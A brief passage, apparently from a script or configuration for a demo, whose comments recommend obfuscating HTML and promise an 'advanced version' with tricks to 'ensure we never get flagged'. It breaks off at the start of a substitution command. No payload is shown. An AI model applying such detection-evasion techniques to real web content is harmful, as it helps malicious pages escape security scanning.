15 | # It is highly recommended that you obfuscate the HTML code
16 | # For the sake of easier walkthrough and keeping things readable, this demo is with only
17 | # obfuscating highly suspicious strings.
18 | # The upcoming advanced version will have way more advanced tricks to ensure we never get flagged.
19 |
20 |
21 | Substitute "s| \
22 |